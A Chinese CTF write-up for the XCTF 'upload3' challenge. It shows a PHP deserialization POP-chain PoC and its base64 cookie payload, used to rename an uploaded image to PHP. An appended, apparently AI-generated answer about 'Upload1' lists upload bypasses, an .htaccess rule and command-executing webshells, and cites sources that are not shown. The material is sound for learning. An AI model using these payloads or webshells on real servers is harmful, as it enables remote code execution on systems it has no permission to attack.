攻防世界--upload3

注册登陆

上传文件
 

发现上传一次后没法上传第二次了。。。
重新注册个号,尝试上传php文件发现被拦截了,改成.jpg也被拦截了,猜测这里检测了文件头,想起之前伪造文件头,在文件开头添加GIF89A即可

 虽然可以成功上传上去,但是没法执行

扫描目录发现源码泄漏,访问/www.tar.gz

Profile.php文件

这里限制了上传文件的后缀名

Cookie这里有个序列化
 

猜测是反序列化 ,覆盖掉filename即可实现文件名任意

__get() 用于从不可访问的属性读取数据
__call() 在对象上下文中调用不可访问的方法时触发 

给其 except 成员变量赋值 [‘index’ => ‘img’],代表要是访问 index 这个变量,就会返回 img。而后又给 img 赋值 upload_img,让这个对象被访问不存在的方法时最终调用 upload_img。

 

赋值控制 filename_tmp 和 filename 成员变量。可以看到前面两个判断我们只要不赋值和不上传变量即可轻松绕过。ext 这里也要赋值,让他进这个判断。而后程序就开始把 filename_tmp 移动到 filename,这样我们就可以把 png 移动为 php 文件了。

还要构造一个 Register,checker 赋值为 我们上面这个 $profile,registed 赋值为 false,这样在这个对象析构时就会调用 profile 的 index 方法,再跳到 upload_img 了。

POC:

<?php

namespace app\web\controller;
error_reporting(0);
class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;


    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

class Register
{
    public $checker;
    public $registed;

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.png";
$profile->filename = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));

得出

TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjc4OiIuL3VwbG9hZC9lMDA4MGIxMTM1NTMxM2NiMjYwOTU3MzMyNDFkOTIwOS8wNDEyYzI5NTc2YzcwOGNmMDE1NWU4ZGUyNDIxNjliMS5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzg6Ii4vdXBsb2FkL2UwMDgwYjExMzU1MzEzY2IyNjA5NTczMzI0MWQ5MjA5LzA0MTJjMjk1NzZjNzA4Y2YwMTU1ZThkZTI0MjE2OWIxLnBocCI7czoxMToidXBsb2FkX21lbnUiO047czozOiJleHQiO3M6MzoicG5nIjtzOjM6ImltZyI7czoxMDoidXBsb2FkX2ltZyI7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czozOiJpbWciO319czo4OiJyZWdpc3RlZCI7YjowO30%3D

替换value

访问.php文件即可成功执行
  

<think>嗯,用户需要关于攻防世界Web部分的Upload1挑战的解题思路或writeup。首先,我应该回忆一下常见的Upload类题目的常见漏洞点,比如文件上传绕过、黑名单过滤、MIME类型检查、.htaccess利用、内容检测绕过等。 根据提供的引用,其他Upload题目如upload3可能涉及Git泄露、远程命令执行漏洞(如ThinkPHP的RCE)或者数据库中的敏感表字段。可能需要扫描目录,利用工具如GitHack获取源码,或者通过上传webshell获取flag。例如引用[2]提到通过Git泄露获取源码,引用[4]使用了ThinkPHP的RCE漏洞执行命令。 对于Upload1,可能类似的思路适用。首先需要检查是否有前端验证,比如文件类型、扩展名的检查,是否可以被绕过,比如修改Content-Type、使用双扩展名(如.php.jpg)、或者大小写绕过(如.PhP)。此外,服务器可能配置了黑名单,需要尝试上传.htaccess文件来允许执行特定扩展名,或者利用解析漏洞,比如Apache的解析顺序问题。 另外,可能需要结合其他漏洞,比如文件包含,通过上传图片马,然后利用文件包含漏洞执行其中的代码。或者检查是否有二次渲染,使用绕过技巧。也有可能上传后文件名被重命名,需要找到上传路径和文件名规律。 查看用户提供的引用,特别是引用[3]中提到secret_table和fl4g字段,可能提示需要数据库注入或读取文件,比如通过上传PHP文件执行系统命令读取flag。引用[4]中的RCE payload可能相关,如果存在框架漏洞的话。 综上,解题步骤可能包括:检查前端验证,尝试绕过文件类型检查;上传webshell或恶意文件;利用解析漏洞或.htaccess;结合其他漏洞如文件包含或RCE执行命令获取flag。需要分步骤测试,并参考已有的writeup中的常见方法。</think>### 攻防世界 Web Upload1 解题思路 #### 1. **题目初步分析** - **目标场景**:文件上传类挑战,通常需要绕过上传限制,上传恶意文件(如Webshell)或触发漏洞获取服务器权限。 - **常见限制**:扩展名黑名单、MIME类型检查、文件内容检测、路径重命名等[^1][^3]。 #### 2. **关键步骤与绕过方法** 1. **检查前端验证**: - 通过浏览器开发者工具查看前端代码,确认是否有扩展名过滤逻辑。若存在,可手动修改请求绕过(如Burp Suite拦截修改`filename`)[^2]。 - 示例Payload:上传`.php`文件,修改为`.php5`或`.phtml`(若服务器解析此类扩展名)。 2. **绕过MIME类型检测**: - 若服务器校验`Content-Type`,需伪造类型(如`image/jpeg`),但文件内容仍保留PHP代码。 - 示例上传请求头修改: ```http Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg ``` 3. **利用.htaccess文件覆盖**(适用于Apache服务器): - 上传`.htaccess`文件,配置特定扩展名解析为PHP: ```apache AddType application/x-httpd-php .abc ``` - 后续上传扩展名为`.abc`的Webshell即可执行。 4. **文件内容绕过**: - 若服务器检测文件内容关键字(如`<?php`),可替换为短标签`<?=`或使用编码/混淆技术。 - 示例代码: ```php <?= system($_GET[&#39;cmd&#39;]); ?> ``` 5. **结合其他漏洞**: - 若存在文件包含漏洞,可上传图片马(如包含PHP代码的JPEG文件),通过包含触发代码执行[^4]。 - 若服务器存在已知框架漏洞(如ThinkPHP RCE),直接构造Payload读取Flag。 #### 3. **实战示例** 假设题目限制上传`.php`但未过滤`.phar`: 1. 上传Webshell文件`shell.phar`,内容为: ```php <?php system("cat /flag"); ?> ``` 2. 访问上传路径`/uploads/shell.phar?cmd=ls`,触发命令执行。 #### 4. **扩展技巧** - **双写扩展名绕过**:如`shell.pphphp`,若过滤逻辑为删除`php`字符串。 - **大小写混淆**:如`shell.PhP`(Windows服务器不区分大小写)。 - **利用解析漏洞**:如`shell.php.jpg`被Apache解析为PHP(需特定配置)。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值